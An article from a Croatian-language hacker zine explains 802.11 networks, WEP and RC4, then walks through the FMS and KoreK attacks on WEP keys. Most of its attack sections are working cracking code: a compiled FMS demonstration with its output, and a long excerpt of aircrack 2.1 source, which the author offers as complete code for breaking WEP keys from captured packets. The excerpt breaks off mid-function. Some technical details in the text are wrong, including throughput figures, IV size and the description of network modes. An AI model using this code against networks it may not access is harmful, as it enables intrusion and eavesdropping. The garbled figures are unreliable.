................... ...::: phearless zine #1 :::... ...................>---[ Wireless: Under the hood ]---<..................... ...........................>---[ by argv ]---<.............................. Sadrzaj: [1] Intro [2] Enkripcija [3] Algoritmi [4] Smashing the WEP [5] Smashing the WEP again //////////////////////////////////////////////////////////////////////////// --==<[ 1. Intro \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Bezicne mreze postoje vec duze vrijeme, ali u zadnjih par godina cijenom su postale dostupne i obicnim korisnicima. Oprema za bezicno umrezavanje je danas vrlo jeftina i dostupna svima. Ako imate stolno racunalo potrebna vam je kartica s malom antenom (PCI sucelje), a ako imate laptop baziran na Centrino platformi onda ste potpuno spremni za bezicno umrezavanje jer Centrino dolazi s 802.11b/g mreznim adapterom i pripadajucom antenom (antena se obicno nalazi u okviru monitora). Svrha teksta je upoznavanje sa tehnickim karakteristikama i sigurnosnim propustima koji su otkriveni u radu bezicnih mreza. Bezicne mreze trenutno imaju 3 standarda, to su: 802.11a, 802.11b i 802.11g standardi. Razlike izmedju tih standarda su prikazani u tablici: ------------------------------------------------------ Standard || 802.11a || 802.11b || 802.11g || ------------------------------------------------------ Frekvencija rada || 5GHz || 2,4GHz || 2,4GHz || ------------------------------------------------------ Propusnost || 5,4mb/s || 1,1mb/s || 5,4mb/s || ------------------------------------------------------ Realna propusnost || 2,5mb/s || 500kb/s || 2mb/s || ------------------------------------------------------ Doseg || 10-25m || 20-40m || 20-40m || ------------------------------------------------------ Danas je najpopularniji 802.11g standard koji odnosom cijene/mogucnosti daje najbolje rezultate, medjutim umrezavanje bezicnim putem ima vise problema nego zicano umrezavanje zbog cinjenice da ce se WLAN kartice s vremenom "ugusiti" zbog nemogucnosti brze obrade velikih kolicina paketa. Da bi izbjegli takve probleme, najjednostavnije rijesenje je nabavka Access Pointa. Access Point je isto kao Router ili Switch kod zicanih mreza, on ce sluziti kao pristupna tocka svim umrezenim racunalima tako sto ce primati sve pakete od umrezenih racunala i proslijedjivati ih na odrediste i tako skinuti teret obrade paketa s WLAN kartica. WLAN kartice mogu raditi na 2 nacina, prvi je Managed (najvise se koristi za P2P umrezavanje bez access pointa), a drugi je Ad-Hoc (vise racunala, jedan ili vise access pointa). Kao i kod zicanih mreza, sav unutarnji promet se obavlja u plain text nacinu razmjene paketa. To znaci da ce paketi koji se izmjenjuju izmedju umrezenih racunala u potpunosti biti vidljivi bez potrebe za dekriptiranjem. Ukoliko ne postoji zastita, bezicnoj mrezi se moze pristupiti instantno, dovoljno je doci u domet mreze, spojiti se na mrezu i bez problema sniffati promet. Iako se ni s ukljucenom zastitom nemozete obraniti od upada, to ipak pruza odredjenu kolicinu sigurnosti ako se pravilno upotrijebi. Zastita bezicnih mreza se oslanja na 2 stvari, prva je enkripcija paketa koji se razmjenjuju izmedju umrezenih racunala za ciju je dekripciju i pristup mrezi potreban WEP kljuc, a druga verifikacija MAC adrese pri pokusaju spajanja na mrezu. Verifikacija MAC adrese je slab nacin obrane jer se MAC adresa vrlo lako moze spoofati da izgleda kao adresa racunala kojem je dozvoljen pristup. //////////////////////////////////////////////////////////////////////////// --==<[ 2. Enkripcija \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Enkripcija bezicnih mreza se zasniva na WEP (Wired Equivalent Privacy) kljucu. Proizvodjaci WLAN kartica promoviraju svoje proizvode tako da na kutijama pise da njihove kartice koriste 128 bitnu enkripciju sto nije istina. WEP1 ima maksimalnu enkripciju 40 bita, dok WEP2 (deklarirani 128) ima 104 bita. WEP je orginalno zamisljen kao 40bitni kljuc, a kasnije je dosao WEP2 sa 104bitnim kljucem. Enkripcija se obavlja za vrijeme razmjene paketa izmedju umrezenih racunala. Ako nema WEP zastite, nema ni enkripcije i mrezi se moze lako pristupiti i sniffati promet. Kod prijenosa podataka bezicnim putem prvo se izracunava sadrzaj paketa. To se obavlja pomocu 32bitnih CRC (Cyclic Redundancy Checksum) funkcija koje se jos nazivaju i CRC32. Paket se nalazi na kraju jer je u plain text obliku - bez enkripcije. Formula tog izracunavanja je: S = CRC32(P) S -> cijeli sadrzaj paketa P -> plain text paket Nakon sto je izracunat sadrzaj paketa, tada pocinje enkripcija. Uvijek se prvo mora izracunati plain text da bi se na osnovu njega mogao napraviti isti taj, ali enkriptirani tekst. WEP koristi inicijalizacijske vektore (IV) za preuzimanje i daljnje distribuiranje paketa. Inicijalizacijski vektor se sastoji od 24 bajta koji sadrze odredjen broj bitova koji se generiraju za svaki paket. Nakon sto se plain text enkriptira, potrebno je napraviti sifrirani niz koji ce predstavljati taj paket. Inicijalizacijski vektor + WEP = enkriptirani tekst. Zatim RC4 algoritam od enkriptiranog teksta izradjuje niz brojeva/slova koji ce predstavljati sifrirani niz enkriptiranog paketa i tek tada se paket prenosi preko mreze. Kada enkriptirani paket dodje na drugo racunalo, on se dekriptira u obrnutom redoslijedu, i to se ponavlja za svaki novi paket. //////////////////////////////////////////////////////////////////////////// --==<[ 3. Algoritmi (RC4 = KSA+PRGA) \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ RC4 algoritam je veoma jednostavan algoritam, i ako se koristi pravilno vrlo je siguran, medjutim WEP i RC4 algoritam ne suradjuju bas dobro sto je dovelo do otkrivanja raznih ranjivosti. RC4 se sastoji od 2 zasebna algoritma: KSA (Key Scheduling Algorithm) i PRGA (Pseudo Random Generation Algorithm). Oba algoritma koriste 8-by-8 S-box mrezu od 256 brojeva koji su isti i variraju od 0-255. Znaci, svi brojevi od 0-255 postoje u mrezi, ali su izmjesani na razlicite nacine. Prvo KSA mijesa brojeve ovisno o sadrzaju enkriptiranog teksta, zatim se S-box menja ovisno o outputu niza koje je generirao KSA. Kada je paket enkriptiran i spreman za slanje, PRGA generira sifrirani enkriptirani niz i zatim se paket prenosti preko mreze, i isti tak postupak se ponavlja svaki put kada se novi paket enkriptira. Ovako otprilike izgleda rad KSA i PRGA algoritama: // KSA j = 0; for i = 0 to 255 { j = (j + S[i] + K[i]) mod 256; // S i K predstavljaju arraye od 255 bitova swap S[i] and S[j]; } Kada ovaj proces zavrsi S-box je izmjesan na osnovi sadrzaja paketa, i zatim PRGA generira sifrirani niz iz S-box-a: // PRGA i = (i + 1) mod 256; j = (j + S[i]) mod 256; swap S[i] and S[j]; t = (S[i] + S[j]) mod 256; Output the value of S[t]; output bajta iz S[t] je prvi bajt sifriranog niza, a algoritam se ponavlja za svaki bajt koji je u S-boxu kako bi generirao potpuni sifrirani niz originalnog paketa. //////////////////////////////////////////////////////////////////////////// --==<[ 4. Smashing the WEP \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ FMS (Fluhrer, Mantin, Shamir) je prvo otkrivena slabost koja se moze koristiti protiv WEP enkripcije. Kako sam naveo prije, RC4 algoritam i WEP ne suradjuju bas dobro. FMS iskoristava slabosti u KSA algoritmu i Inicijalizacijskim vektorima (IV). Postoje slabi inicijalizacijski vektori koji omogucavaju da se prvi bajt enkriptiranog teksta vidi. Posto se originalni kljuc ponavlja stalno, a IV mijenja, dugotrajnom analizom paketa moze se otkriti prvi bajt, a zatim i cijeli WEP kljuc. Prvi bajt u 802.11g/g mrezama je uvijek 0xAA pa ga je lako otkriti i zatim nastaviti sa dekripcijom cijelog WEP kljuca. FMS napad se prvo oslanja na otkrivanje slabih inicijalizacijskih vektora. Inicijalizacijski vektori u WEP-u imaju 24 bita (3 bajta). Slabi IV vektori imaju formu: A+3, N-1, X A = slabi bajt N = vrijednost od 256 X = bilo koja vrijednost Ako se napada nulti bajt sifriranog niza moguca su 256 slabih IV-ova u formi: 3, 255, X X moze biti od 0-255. Bajtovi se moraju desifrirati po redu. Prvi bajt se ne moze desifrirati sve dok nam nije poznat nulti bajt. Algoritam dekriptiranja je relativno jednostavan. Prvo prolazi kroz A+3 u KSA algoritamu. Ovo se moze napraviti bez posjedovanja WEP kljuca jer slabi IV zauzima prva tri bajta nekog paketa. Ako se otkrije nulti bajt i A je jednako 1, prelazi na cetvrti korak dekriptiranja jer su nam sad poznata prva 4 bajta. Tijekom otkrivanja nultog bajta dogodio se poremecaj unutar KSA algoritma, i ako je S[0] ili S[1] proces se resetira, u protivnim uzima vrijednost 'j' i vrijednost S[A+3] i oduzima ga od prvog bajta sto name daje prvi dekriptirani (desifrirani) bajt. Potrebno je oko 60 IV-ova da bi se vjerovatnost tocnog dekriptiranja (desifriranja) popela preko 50%. Nakon sto se otkrije prvi bajt cijeli proces se ponavlja dok ne dobijemo cijeli kljuc. Iako je ovaj napad veoma ucinkovit, problem je u tome sto je potrebno veoma mnogo usniffanih paketa da bi se kljuc dekriptirao. Ako ste sretni bit ce vam dovoljno od 4 do 5 milijuna paketa, a u nekim slucajevima i puno vise. // FMS Vulnerability // (seed = sadrzaj paketa) // --------------------------- // Source Code (c)Jon Erickson File:fms.c #include int RC4(int *IV, int *key) { int K[256]; int S[256]; int seed[16]; int i, j, k, t; //seed = IV + key; for(k=0; k<3; k++) seed[k] = IV[k]; for(k=0; k<13; k++) seed[k+3] = key[k]; // -= Key Scheduling Algorithm (KSA) =- //Initilize the arrays for(k=0; k<256; k++) { S[k] = k; K[k] = seed[k%16]; } j=0; for(i=0; i < 256; i++) { j = (j + S[i] + K[i])%256; t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]); } // First step of PRGA for first keystream byte i = 0; j = 0; i = i + 1; j = j + S[i]; t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]); k = (S[i] + S[j])%256; return S[k]; } main(int argc, char *argv[]) { int K[256]; int S[256]; int IV[3]; int key[13] = {1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213}; int seed[16]; int N = 256; int i, j, k, t, x, A; int keystream, keybyte; int max_result, max_count; int results[256]; int known_j, known_S; if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } A = atoi(argv[1]); if((A > 12) || (A < 0)) { printf("keybyte must be from 0 to 12.\n"); exit(0); } for(k=0; k < 256; k++) results[k] = 0; IV[0] = A + 3; IV[1] = N - 1; for(x=0; x < 256; x++) { IV[2] = x; keystream = RC4(IV, key); printf("Using IV: (%d, %d, %d), first keystream byte is %u\n", IV[0], IV[1], IV[2], keystream); printf("Doing the first %d steps of KSA.. ", A+3); //seed = IV + key; for(k=0; k<3; k++) seed[k] = IV[k]; for(k=0; k<13; k++) seed[k+3] = key[k]; // -= Key Scheduling Algorithm (KSA) =- //Initialize the arrays for(k=0; k<256; k++) { S[k] = k; K[k] = seed[k%16]; } j=0; for(i=0; i < (A + 3); i++) { j = (j + S[i] + K[i])%256; t = S[i]; S[i] = S[j]; S[j] = t; } if(j < 2) // If j < 2, then S[0] or S[1] have been disturbed { printf("S[0] or S[1] have been disturbed, discarding..\n"); } else { known_j = j; known_S = S[A+3]; printf("at KSA iteration #%d, j=%d and S[%d]=%d\n", A+3, known_j, A+3, known_S); keybyte = keystream - known_j - known_S; while(keybyte < 0) keybyte = keybyte + 256; printf("key[%d] prediction = %d - %d - %d = %d\n", A, keystream, known_j, known_S, keybyte); results[keybyte] = results[keybyte] + 1; } } max_result = -1; max_count = 0; for(k=0; k < 256; k++) { if(max_count < results[k]) { max_count = results[k]; max_result = k; } } printf("\nFrequency table for key[%d] (* = most frequent)\n", A); for(k=0; k < 32; k++) { for(i=0; i < 8; i++) { t = k+i*32; if(max_result == t) printf("%3d %2d*| ", t, results[t]); else printf("%3d %2d | ", t, results[t]); } printf("\n"); } printf("\n[Actual Key] = ("); for(k=0; k < 12; k++) printf("%d, ",key[k]); printf("%d)\n", key[12]); printf("key[%d] is probably %d\n", A, max_result); } $ gcc -o fms fms.c $ ./fms Usage: ./fms $ ./fms 0 Using IV: (3, 255, 0), first keystream byte is 7 Doing the first 3 steps of KSA.. at KSA iteration #3, j=5 and S[3]=1 key[0] prediction = 7 - 5 - 1 = 1 Using IV: (3, 255, 1), first keystream byte is 211 Doing the first 3 steps of KSA.. at KSA iteration #3, j=6 and S[3]=1 key[0] prediction = 211 - 6 - 1 = 204 Using IV: (3, 255, 2), first keystream byte is 241 Doing the first 3 steps of KSA.. at KSA iteration #3, j=7 and S[3]=1 key[0] prediction = 241 - 7 - 1 = 233 ..........itd, itd............ Frequency table for key[0] (* = most frequent) 0 1 | 32 3 | 64 0 | 96 1 | 128 2 | 160 0 | 192 1 | 224 3 | 1 10*| 33 0 | 65 1 | 97 0 | 129 1 | 161 1 | 193 1 | 225 0 | 2 0 | 34 1 | 66 0 | 98 1 | 130 1 | 162 1 | 194 1 | 226 1 | 3 1 | 35 0 | 67 2 | 99 1 | 131 1 | 163 0 | 195 0 | 227 1 | 4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 2 | 228 0 | 5 0 | 37 1 | 69 0 | 101 1 | 133 0 | 165 2 | 197 2 | 229 1 | 6 0 | 38 0 | 70 1 | 102 3 | 134 2 | 166 1 | 198 1 | 230 2 | 7 0 | 39 0 | 71 2 | 103 0 | 135 5 | 167 3 | 199 2 | 231 0 | 8 3 | 40 0 | 72 1 | 104 0 | 136 1 | 168 0 | 200 1 | 232 1 | 9 1 | 41 0 | 73 0 | 105 0 | 137 2 | 169 1 | 201 3 | 233 2 | 10 1 | 42 3 | 74 1 | 106 2 | 138 0 | 170 1 | 202 3 | 234 0 | 11 1 | 43 2 | 75 1 | 107 2 | 139 1 | 171 1 | 203 0 | 235 0 | 12 0 | 44 1 | 76 0 | 108 0 | 140 2 | 172 1 | 204 1 | 236 1 | 13 2 | 45 2 | 77 0 | 109 0 | 141 0 | 173 2 | 205 1 | 237 0 | 14 0 | 46 0 | 78 2 | 110 2 | 142 2 | 174 1 | 206 0 | 238 1 | 15 0 | 47 3 | 79 1 | 111 2 | 143 1 | 175 0 | 207 1 | 239 1 | 16 1 | 48 1 | 80 1 | 112 0 | 144 2 | 176 0 | 208 0 | 240 0 | 17 0 | 49 0 | 81 1 | 113 1 | 145 1 | 177 1 | 209 0 | 241 1 | 18 1 | 50 0 | 82 0 | 114 0 | 146 4 | 178 1 | 210 1 | 242 0 | 19 2 | 51 0 | 83 0 | 115 0 | 147 1 | 179 0 | 211 1 | 243 0 | 20 3 | 52 0 | 84 3 | 116 1 | 148 2 | 180 2 | 212 2 | 244 3 | 21 0 | 53 0 | 85 1 | 117 2 | 149 2 | 181 1 | 213 0 | 245 1 | 22 0 | 54 3 | 86 3 | 118 0 | 150 2 | 182 2 | 214 0 | 246 3 | 23 2 | 55 0 | 87 0 | 119 2 | 151 2 | 183 1 | 215 1 | 247 2 | 24 1 | 56 2 | 88 3 | 120 1 | 152 2 | 184 1 | 216 0 | 248 2 | 25 2 | 57 2 | 89 0 | 121 1 | 153 2 | 185 0 | 217 1 | 249 3 | 26 0 | 58 0 | 90 0 | 122 0 | 154 1 | 186 1 | 218 0 | 250 1 | 27 0 | 59 2 | 91 1 | 123 3 | 155 2 | 187 1 | 219 1 | 251 1 | 28 2 | 60 1 | 92 1 | 124 0 | 156 0 | 188 0 | 220 0 | 252 3 | 29 1 | 61 1 | 93 1 | 125 0 | 157 0 | 189 0 | 221 0 | 253 1 | 30 0 | 62 1 | 94 0 | 126 1 | 158 1 | 190 0 | 222 1 | 254 0 | 31 0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 0 | 255 0 | [Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213) Ovaj kod napada 104bitni kljuc sa 24 bitnim IV-ovima. X je svaka moguca vrijednost. Nulti bajt je ovdje predodredjen, a kljuc se vec nalazi unutar koda (ovo je samo primjer napada.). Ne zelim ici u detalje s ovim napadom jer je vec poprilicno zastario, ali ovaj napad je bitan jer se kombinira sa novim. //////////////////////////////////////////////////////////////////////////// --==<[ 5. Smashing the WEP again \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Haker pod nickom KoreK prezentirao je novu ranjivost WEP-a pomocu koje je moguce desifrirati WEP kljuc mnogo brze i pouzdanije nego sa FMS metodom. Iako se novi napad implementira u FMS kod, kada se implementira FMS napad postaje mnogo pouzdaniji i brzi. Potrebno je od 0.5 do 1.5 milijuna paketa da bi otkrili WEP kljuc. Ovo je kompletni izvorni kod za brzo i ucinkovito razbijanje WEP kljuca s minimalnom kolicinom usnifanih paketa. Naravno potreban vam je i sniffer (Kismet ili Aerodump od aircracka) da prikupite pakete i zatim otkrijete WEP kljuc. Source nisam mijenjao, tako da su komentari ostali na engleskom jeziku, al opet ako neznate engleski nema smisla da citate ovaj file. // Source code (c)KoreK // ovdje je kljucni dio napada novom FMS + KoreK metodom. enum KoreK_attacks { A_u15, /* semi-stable 15% */ A_s13, /* stable 13% */ A_u13_1, /* unstable 13% */ A_u13_2, /* unstable ? 13% */ A_u13_3, /* unstable ? 13% */ A_s5_1, /* standard 5% (~FMS) */ A_s5_2, /* other stable 5% */ A_s5_3, /* other stable 5% */ A_u5_1, /* unstable 5% no good ? */ A_u5_2, /* unstable 5% */ A_u5_3, /* unstable 5% no good */ A_u5_4, /* unstable 5% */ A_s3, /* stable 3% */ A_4_s13, /* stable 13% on q = 4 */ A_4_u5_1, /* unstable 5% on q = 4 */ A_4_u5_2, /* unstable 5% on q = 4 */ A_neg /* helps reject false positives */ }; // Ripped from aircrack @ http://linuxfromscratch.org/~devine/network/ // Source code (c)Christophe Devine #include #include #include #include #include #include #include #include #include "pcap.h" #define SWAP(x,y) { unsigned char tmp = x; x = y; y = tmp; } #define SUCCESS 0 #define FAILURE 1 #define INFINITY 65535 char usage[] = "\n" " aircrack 2.1 - (C) 2004 Christophe Devine\n" "\n" " usage: aircrack [options] ...\n" "\n" " -d : debug - specify beginning of the key\n" " -f : bruteforce fudge factor (default: 2)\n" " -m : MAC address to filter usable packets\n" " -n : WEP key length: 64 / 128 / 256 / 512\n" " -p : SMP support: # of processes to start\n" "\n"; /* command-line parameters */ int debug_lvl = 0; /* # of keybytes fixed */ int macfilter = 0; /* BSSID check flag */ int stability = 0; /* unstable attacks on */ unsigned char debug[61]; /* user-defined wepkey */ unsigned char maddr[6]; /* MAC address filter */ int weplen = 13; /* WEP key length */ int ffact = 2; /* fudge threshold */ int nfork = 1; /* number of forks */ /* runtime global data */ unsigned char buffer[65536]; /* buffer for reading packets */ unsigned char wepkey[61]; /* the current chosen WEP key */ unsigned char *ivbuf; /* buffer for the unique IVs */ unsigned long nb_ivs; /* number of elements in ivbuf */ unsigned long tried; /* total # of keys tried so far */ time_t tm_start, tm_prev; /* for displaying elapsed time */ char *test_unique_ivs; /* to avoid adding duplicates */ int mc_pipe[256][2]; /* master->child control pipe */ int cm_pipe[256][2]; /* child->master results pipe */ int fudge[61]; /* bruteforce level (1 to 256) */ int depth[61]; /* how deep we are in the fudge */ struct byte_stat { int index; int votes; } wpoll[61][256]; /* FMS + Korek attacks: stats. */ #define N_ATTACKS 17 enum KoreK_attacks { A_u15, /* semi-stable 15% */ A_s13, /* stable 13% */ A_u13_1, /* unstable 13% */ A_u13_2, /* unstable ? 13% */ A_u13_3, /* unstable ? 13% */ A_s5_1, /* standard 5% (~FMS) */ A_s5_2, /* other stable 5% */ A_s5_3, /* other stable 5% */ A_u5_1, /* unstable 5% no good ? */ A_u5_2, /* unstable 5% */ A_u5_3, /* unstable 5% no good */ A_u5_4, /* unstable 5% */ A_s3, /* stable 3% */ A_4_s13, /* stable 13% on q = 4 */ A_4_u5_1, /* unstable 5% on q = 4 */ A_4_u5_2, /* unstable 5% on q = 4 */ A_neg /* helps reject false positives */ }; int coeff_attacks[4][N_ATTACKS] = { { 15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, 0 }, { 15, 13, 12, 12, 12, 5, 5, 5, 0, 0, 0, 0, 3, 13, 4, 4, 0 }, { 15, 13, 0, 0, 0, 5, 5, 5, 0, 0, 0, 0, 0, 13, 0, 0, 0 }, { 0, 13, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 } }; int read_ivs( char *filename ) { FILE *f_cap; int i, n, z; unsigned long cnt1; unsigned long cnt2; unsigned char *h80211; struct pcap_pkthdr pkh; struct pcap_file_header pfh; /* open the file and check the pcap header */ printf( "Opening pcap file %s\n", filename ); if( ( f_cap = fopen( filename, "rb" ) ) == NULL ) { fprintf( stderr, "fopen(%s,rb) failed\n", filename ); return( FAILURE ); } n = sizeof( struct pcap_file_header ); if( fread( &pfh, 1, n, f_cap ) != (size_t) n ) { fprintf( stderr, "fread(pcap file header) failed\n" ); return( FAILURE ); } if( pfh.magic != TCPDUMP_MAGIC ) { fprintf( stderr, "wrong magic from pcap file header\n" "(got 0x%08X, expected 0x%08X)\n", pfh.magic, TCPDUMP_MAGIC ); return( FAILURE ); } if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER ) { fprintf( stderr, "unsupported pcap header linktype %d\n" \ "are you sure this is a 802.11 capture ?\n", pfh.linktype ); return( FAILURE ); } tm_prev = time( NULL ); cnt1 = cnt2 = 0; while( 1 ) { /* every 1s, update the display */ if( time( NULL ) - tm_prev >= 1 ) { tm_prev = time( NULL ); printf( "\rReading packets: total = %ld" ", usable = %ld\r", cnt1, cnt2 ); fflush( stdout ); } /* read one packet */ n = sizeof( pkh ); if( fread( &pkh, 1, n, f_cap ) != (size_t) n ) break; n = pkh.caplen; if( fread( buffer, 1, n, f_cap ) != (size_t) n ) break; cnt1++; h80211 = buffer; if( pfh.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header if necessary */ n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } /* minimum encrypted data packet size: 40 = 24 * * (802.11) + 4 (IV, KeyID) + 8 (LLC) + 4 (ICV) */ if( pkh.caplen < 40 ) continue; /* is it an encrypted data packet ? */ if( ( h80211[0] & 0x0C ) != 0x08 ) continue; if( ( h80211[1] & 0x40 ) != 0x40 ) continue; /* if it's an TKIP/CCMP extended IV, skip it */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if( ( h80211[z + 3] & 0x20 ) == 0x20 ) continue; /* check if the MAC address match */ if( macfilter == 0 ) { macfilter = 1; switch( h80211[1] & 3 ) { case 0: i = 16; break; /* DA, SA, BSSID */ case 1: i = 4; break; /* BSSID, SA, DA */ case 2: i = 10; break; /* DA, BSSID, SA */ default: i = 4; break; /* RA, TA, DA, SA */ } memcpy( maddr, h80211 + i, 6 ); printf( "\rChoosing first WEP-encrypted BSSID" " = %02X:%02X:%02X:%02X:%02X:%02X\n", maddr[0], maddr[1], maddr[2], maddr[3], maddr[4], maddr[5] ); } else { if( ( h80211[1] & 3 ) != 3 ) { if( memcmp( h80211 + 4, maddr, 6 ) && memcmp( h80211 + 10, maddr, 6 ) && memcmp( h80211 + 16, maddr, 6 ) ) continue; } else { if( memcmp( h80211 + 4, maddr, 6 ) && memcmp( h80211 + 10, maddr, 6 ) && memcmp( h80211 + 16, maddr, 6 ) && memcmp( h80211 + 24, maddr, 6 ) ) continue; } } /* have we already seen this IV ? */ n = h80211[z ] + ( h80211[z + 1] << 8 ) + ( h80211[z + 2] << 16 ); if( test_unique_ivs[n] ) continue; test_unique_ivs[n] = 1; /* nope, add this IV and the first two encrypted bytes */ ivbuf[nb_ivs * 5 ] = h80211[z ]; ivbuf[nb_ivs * 5 + 1] = h80211[z + 1]; ivbuf[nb_ivs * 5 + 2] = h80211[z + 2]; ivbuf[nb_ivs * 5 + 3] = h80211[z + 4]; ivbuf[nb_ivs * 5 + 4] = h80211[z + 5]; cnt2++; nb_ivs++; } printf( "\rReading packets: total = %ld" ", usable = %ld\n", cnt1, cnt2 ); return( SUCCESS ); } /* this routine displays a bunch of statistical * * data about the current state of the FMS attack */ void show_stats( int B ) { time_t delta; struct winsize ws; int i, et_h, et_m, et_s; tm_prev = time( NULL ); delta = tm_prev - tm_start; if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 ) { ws.ws_row = 25; ws.ws_col = 80; } if( ! delta ) delta++; et_h = delta / 3600; et_m = ( delta - et_h * 3600 ) / 60; et_s = delta - et_h * 3600 - et_m * 60; printf( "\33[2;%dH\33[34;1maircrack 2.1\33[0m\n\n", ( ws.ws_col - 12 ) / 2 ); printf( " * Got %7ld%c unique IVs | fudge factor = %d\n", nb_ivs, ( nb_ivs < 600000 ) ? '!' : ' ', ffact ); printf( " * Elapsed time [%02d:%02d:%02d] | tried " "%ld keys at %ld k/m\n", et_h, et_m, et_s, tried, ( 60 * tried ) / delta ); printf( "\n KB depth votes\n" ); for( i = 0; i <= B; i++ ) { int j, k = ( ws.ws_col - 20 ) / 9; printf( " %2d %3d/%3d ", i, depth[i], fudge[i] ); for( j = depth[i]; j < k + depth[i]; j++ ) { if( j >= 256 ) break; if( wpoll[i][j].votes == INFINITY ) printf( "%02X(+inf) ", wpoll[i][j].index ); else printf( "%02X(%4d) ", wpoll[i][j].index, wpoll[i][j].votes ); } printf( "\n" ); } if( B < 11 ) printf( "\33[J" ); printf( "\n" ); } /* safe I/O routines */ int safe_read( int fd, void *buf, size_t len ) { int n; size_t sum = 0; char *off = (char *) buf; while( sum < len ) { if( ! ( n = read( fd, (void *) off, len - sum ) ) ) return( 0 ); if( n < 0 && errno == EINTR ) continue; if( n < 0 ) return( n ); sum += n; off += n; } return( sum ); } int safe_write( int fd, void *buf, size_t len ) { int n; size_t sum = 0; char *off = (char *) buf; while( sum < len ) { if( ( n = write( fd, (void *) off, len - sum ) ) < 0 ) { if( errno == EINTR ) continue; return( n ); } sum += n; off += n; } return( sum ); } /* each child performs the attacks over nb_ivs / nfork */ int calc_votes( int child ) { unsigned long xv, min, max; unsigned char R[256], jj[256]; unsigned char S[256], Si[256]; unsigned char K[64]; unsigned char io1, o1, io2, o2; unsigned char Sq, dq, Kq, jq, q; unsigned char S1, S2, J2, t2; int i, j, B, votes[N_ATTACKS][256]; min = 5 * ( ( ( child ) * nb_ivs ) / nfork ); max = 5 * ( ( ( 1 + child ) * nb_ivs ) / nfork ); for( i = 0; i < 256; i++ ) R[i] = i; wait_for_master: if( safe_read( mc_pipe[child][0], buffer, 64 ) != 64 ) { perror( "in calc_votes: read()" ); return( FAILURE ); } B = (int) buffer[0]; q = 3 + B; memcpy( K + 3, buffer + 1, B ); memset( votes, 0, sizeof( votes ) ); /* * JABBERWOCKY */ for( xv = min; xv < max; xv += 5 ) { memcpy( K, &ivbuf[xv], 3 ); memcpy( S, R, 256 ); memcpy( Si, R, 256 ); /* * `Twas brillig, and the slithy toves * Did gyre and gimble in the wabe: * All mimsy were the borogoves, * And the mome raths outgrabe. */ for( i = j = 0; i < q; i++ ) { jj[i] = j = ( j + S[i] + K[i & (2 + weplen)] ) & 0xFF; SWAP( S[i], S[j] ); } i = q; do { i--; SWAP(Si[i],Si[jj[i]]); } while( i != 0 ); o1 = ivbuf[xv + 3] ^ 0xAA; io1 = Si[o1]; S1 = S[1]; o2 = ivbuf[xv + 4] ^ 0xAA; io2 = Si[o2]; S2 = S[2]; Sq = S[q]; dq = Sq + jj[q - 1]; /* * Beware the Jabberwock, my son! * The jaws that bite, the claws that catch! * Beware the Jubjub bird, and shun * The frumious Bandersnatch! */ if( S2 == 0 ) { if( ( S1 == 2 ) && ( o1 == 2 ) ) { Kq = 1 - dq; votes[A_neg][Kq]++; Kq = 2 - dq; votes[A_neg][Kq]++; } else if( o2 == 0 ) { Kq = 2 - dq; votes[A_neg][Kq]++; } } else { if( ( o2 == 0 ) && ( Sq == 0 ) ) { Kq = 2 - dq; votes[A_u15][Kq]++; } } /* * He took his vorpal sword in hand: * Long time the manxome foe he sought -- * So rested he by the Tumtum tree, * And stood awhile in thought. */ if( ( S1 == 1 ) && ( o1 == S2 ) ) { Kq = 1 - dq; votes[A_neg][Kq]++; Kq = 2 - dq; votes[A_neg][Kq]++; } if( ( S1 == 0 ) && ( S[0] == 1 ) && ( o1 == 1 ) ) { Kq = 0 - dq; votes[A_neg][Kq]++; Kq = 1 - dq; votes[A_neg][Kq]++; } if( S1 == q ) { if( o1 == q ) { Kq = Si[0] - dq; votes[A_s13][Kq]++; } else if( ( ( 1 - q - o1 ) & 0xff ) == 0 ) { Kq = io1 - dq; votes[A_u13_1][Kq]++; } else if( io1 < q ) { jq = Si[( io1 - q ) & 0xff]; if( jq != 1 ) { Kq = jq - dq; votes[A_u5_1][Kq]++; } } } /* * And, as in uffish thought he stood, * The Jabberwock, with eyes of flame, * Came whiffling through the tulgey wood, * And burbled as it came! */ if( ( io1 == 2 ) && ( S[q] == 1 ) ) { Kq = 1 - dq; votes[A_u5_2][Kq]++; } if( S[q] == q ) { if( ( S1 == 0 ) && ( o1 == q ) ) { Kq = 1 - dq; votes[A_u13_2][Kq]++; } else if( ( ( ( 1 - q - S1 ) & 0xff ) == 0 ) && ( o1 == S1 ) ) { Kq = 1 - dq; votes[A_u13_3][Kq]++; } else if( ( S1 >= ( ( -q ) & 0xff ) ) && ( ( ( q + S1 - io1 ) & 0xff ) == 0 ) ) { Kq = 1 - dq; votes[A_u5_3][Kq]++; } } /* * One, two! One, two! And through and through * The vorpal blade went snicker-snack! * He left it dead, and with its head * He went galumphing back. */ if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 ) && ( io1 != 1 ) && ( io1 != S[S1] ) 